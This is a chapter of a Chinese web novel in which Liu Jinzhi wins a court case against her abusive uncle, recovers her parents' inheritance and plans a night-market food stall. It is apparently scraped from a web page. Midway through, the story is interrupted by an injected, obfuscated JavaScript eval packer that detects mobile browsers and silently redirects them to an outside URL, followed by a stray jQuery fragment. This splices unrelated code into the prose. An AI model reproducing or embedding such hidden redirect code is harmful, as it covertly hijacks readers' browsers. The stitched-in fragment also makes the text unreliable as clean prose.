待柳金枝一行人被保甲带至应天府公堂下跪,两排衙役一齐大力敲打水火棍,齐呼:“威武——”
坐于明镜高悬四字匾额下的提刑官着一身藏青,眉心有道川字眉,虎目炯炯有神,更显不怒自威,沉声道:
“堂下所跪之人,哪个是苦主?”
邓山后悔不迭,却又不敢承认,直到被那保甲踢了一脚,才颤巍巍应道:“草、草民就是。”
“你要状告何人?”
“草民……”
邓山满头冷汗,却支支吾吾说不出个道理来。
就在这时,忽有一声越过他,掷地有声道:“娘舅他要状告这三位壮汉讹诈。”
邓山一愣,惊异地看向柳金枝,似是不理解为何柳金枝不帮着这三人。
然而还未等他把事情想明白,那三个汉子就大声叫起冤屈来,一口咬死了是邓山卖假药,欠了他们五十两银子。
提刑皱起眉头,敲响惊堂木:“肃静!你们既然状告邓山欠你们银两,可有保人文书?”
邓山本以为这三人要将那份伪造的文书拿出来,谁知这三人居然摇头,苦笑道:“回老爷,我们没有。”
话音落下,邓山只觉得背脊发毛。
这三人才没那么好心,不知是在哪里等着他?
果然,下一刻,络腮胡便道:“这邓山精明,我要签文书,他却一直推脱不肯,因而草民没有证据。可是草民不曾说话,邓山当真作奸犯科,以次充好,卖假药骗人。大人若是不信,大可以去宣泰桥找街坊邻居作证。”
按照大宋律法,贩卖假药这事儿一旦被坐实,那就是流放的刑罚!
邓山这才明白这三人打得是什么主意,不由得遍体生寒,直发起抖来,只有脑子还保持一点清明,只觉得整件事不对。
他与这三人无冤无仇,怎得就要来坑杀他?
忽然,一点灵光从脑子里闪过,邓山瞪直了眼睛看向柳金枝。
而柳金枝侧眸瞧他,却是微微一笑。
“是你!”邓山恨不得扼杀柳金枝,面容扭曲地怒吼,“是你害我!就为了四千贯,你居然害你亲娘舅!”
“肃静!不得扰乱公堂!”
提刑再拍惊堂木。
左右立即上前按住邓山的肩膀,啪啪左右开弓抽了他两个嘴巴,直把人打的天旋地转,再不敢高声,只用一双眼睛恨恨地瞪向柳金枝。
“去,到宣泰桥寻访邓山的邻居,有愿意作证的即刻带来应天府。”
提刑从签筒里抽出个令箭掷于堂下。
左右领命即去。
本以为此事破要费一番功夫,谁知邓山在宣泰桥作威作福多年,左邻右舍饱受欺压,一听得是应天府传唤,光是自愿来府衙的就足有十来个!
齐刷刷在公堂上跪了一排,提刑问什么,便答什么,但架不住邓山人缘坏,一问一答之间,居然就有人额外控诉起邓山来。
如买了邓氏药材铺的药,却吃坏了身体的百姓要去官府告状,邓山雇打手将人痛打一顿,逼的苦主不敢再靠近官府一步。
又如邓山仗势欺人,邻家的猪跑到了他家,就故意把猪关起来据为己有,邻居来讨要,反将人痛骂一顿。
还如……
邓山的罪状越挖越多,提刑眉心拧成了个大疙瘩,眼中怒火鼎盛。
“大胆!在汴京城中,官家脚下,竟还能出现这般贼恶人!”提刑狠拍惊堂木,“可还有苦主要说话?”
“老爷。”柳金枝膝行两步上前,跪地流泪,“还请老爷饶民女娘舅一命。”
“娘舅他虽然是个恶人,亦曾强占了我父母的四千贯遗产不肯归还,还骗我自卖为奴将卖身银子交与他。”
“假意收养我弟妹,却时刻将其虐打,还在冬夜里赶出家门,令其自生自灭。”
“在我携带弟弟上门讨要银钱时,又要对我们姐弟俩动手。”
“可他始终是民女的娘舅啊。”
“民女不能眼睁睁看着娘舅被仗责流放。”
说实话,柳金枝这番话茶里茶气,听起来颇假,但奈不住她哭得真切。
眼泪跟断了线的珠子一样,扑簌簌从脸上落下来,大颗大颗砸在地面上。
配合着来看,倒真像个愚孝纯良之人。
可这番话险些没把邓山气晕过去,他尖声道:“分明就是你伙同这三人害我!现下却如此颠倒黑白!”
在场众人哪个和邓山没点仇?
一听说邓山这般不要脸构陷一位年轻娘子,便纷纷为柳金枝说起话来。
大家都住在宣泰桥多年,关于邓山虐待柳霄、月牙的见闻是数不胜数,诸如不肯给饱饭吃,逼得两个孩子垂死挣扎之际,只能去偷吃鸡食,却连这也要挨一顿毒打。
其惨状就连提刑都颇为动容,忍不住叹息:“世上竟有这般狼心狗肺之人。”
当下便不愿再听下去,直接拍响惊堂木,道:“犯人邓山售卖假药、仗势欺人、还意欲私吞亲侄钱财,现证据确凿。本官着令邓山归还五十两药材钱,与柳家娘子四千贯,事了之后再发配青山县,除非大赦,否则永不许回京!退堂!”
敕令落下,只听噗通一声。
众人看去,原来是邓山惊骇过度,竟然直接倒在堂中昏死过去。
柳金枝眼珠一转,当即做作地抖开一条帕子,掩面哭道:“哎呀,我的娘舅欸~您就这么去啦~侄女也是痛心疾首啊!”
大家见柳金枝伤心,都感叹她当真纯良心善,不由纷纷安慰。
柳霄却在一旁看的分明,柳金枝掩在帕子下的嘴角压都压不住。
为避免露馅,柳霄赶紧也假装悲伤将柳金枝扶起来,抽抽噎噎道:“阿姐,咱回家吧。”
柳金枝点点头,被搀扶着往外走。
眼见着二人的背影逐渐消失,师爷忍不住对提刑道:“大人,这位娘子以下告上,按照大宋律法,该先打三十大板才对。”
提刑沉默了一下,道:“师爷,律法确为铁令,却也该在细微处通达人情。今日之事,本官只当它是众人仗义执言,一齐揭发出来的。至于所谓以下告上,本官从未听过。”
言罢,提刑站起来,转身退堂。
府衙之外。
柳霄搀扶着柳金枝走了一段路,见身后无人跟来,这才分开说话。
天边晚霞柔柔落下,河畔的枯枝分割着半轮血色残阳。
借着天色,柳金枝才看清柳霄额上不知何时多了一层冷汗。
“阿姐,虽然我很高兴邓山终于自食恶果,但今日你说出他恶行的时候,我着实为你捏了一把汗。万一提刑认为你在以下告上,那三十大板你是无论如何都逃不过去的。”
柳霄道。
“阿姐知道。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458089|169610||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
柳金枝伸出手,温柔擦去柳霄脸上的薄汗,“我其实也在赌,赌这位提刑大人不忘初心。”
“什么意思?”
“我去找应天爵的时候,他知我想状告邓山,就劝我最好将案子闹到应天府。”
“因为应天府里有位夏提刑,亦是在年幼之时父母双亡,又被亲族强占双亲遗产,被迫与长兄流落街头。”
“后来长兄年仅十二就上街售卖炊饼,年复一年,含辛茹苦将他养大,又供他科举,落下一身病,因此他甚为感念。”
“若能有他审理此案,说不准会在触动情肠之处,与我们一些方便。”
“如今看来,这位夏提刑还算是个有心之人。”
柳霄也没想到如今威风八面的提刑,幼时居然与他相差无几,不由得抿了抿唇瓣,眸色渐深。
“先前我们不做夜市,就是因为资金不够。现在那四千贯到手,哪怕分出去两成,数额依旧可观。”柳金枝搂过柳霄的肩膀,“我打算利用这笔钱扩大食摊,直接转去做夜市。这样我们赚得的利润将会是现在的两倍有余!”
柳霄此时却显得有些心不在焉,听到柳金枝的规划,只道:“阿姐做主便好。”
随后二人又站在原地商量着要用这四千贯去买些什么。
不远处的假山亭子下。
杏安收回视线,有些哭笑不得,道:“二郎,看起来咱们白赶了这些子路。不但来晚了一步,柳娘子也不需咱们帮忙。”
傅霁景望了柳金枝一眼,随即收回视线,温声笑道:“若是不需我们便能成事是最好,足见他们所愿已了。”转过身,“杏安,咱们也回吧。”
一听这话,杏安不免急了。
他可还没忘记当初那香喷喷的船饭,半个月的时间,把他的嘴都养叼了。
现下回到府中再吃那些膳工们做的饭,虽然也香,却总还是惦念着柳金枝的手艺,便常在府中想着要去问问应天爵,想知道柳金枝在何处支了摊子,他也好去买些吃食光顾生意。
可惜的是,傅霁景自从归家,除却亲近之人有事央求,否则绝不出门,只留在家中静心温书,连带着他也找不到机会出府。
今日好不容易见到柳金枝,为了肚子里的馋虫,说什么也得上去问候两句。
也就装出一副懂事知礼的模样,皱眉道:
“二郎,当时在船上柳娘子为我们做了半月吃食,我们却没来得及当面告慰,就离船去了。现下想想,总觉得失礼。”
傅霁景脚步一顿,不由犹豫地抿起唇瓣,道:“这怕是于礼不合。”
“嗐,礼还能比人情大?那柳娘子着实可怜,在侯府被磋磨,回汴京又因为黑心娘舅侵吞财产闹上公堂。”
“都说救人救到底,送佛送到西。”
“二郎既然救了柳娘子一命,不如好人做到底,去瞧瞧她家中到底如何?莫要又出意外,白救得一条性命回来。”
杏安一边说,一边小心翼翼地观察傅霁景的神情。
只见傅霁景也像是找到了一条满意的理由,终是点头道:“若是为了此前失礼之处去赔罪,倒理所应当……”
杏安闻言大喜,都等不及傅霁景把话说完,急急忙忙扭过头去要先叫住柳金枝二人。
然而前方哪里还有人?
柳金枝与柳霄早走了,此时只剩一片寂寥的深冬景色而已。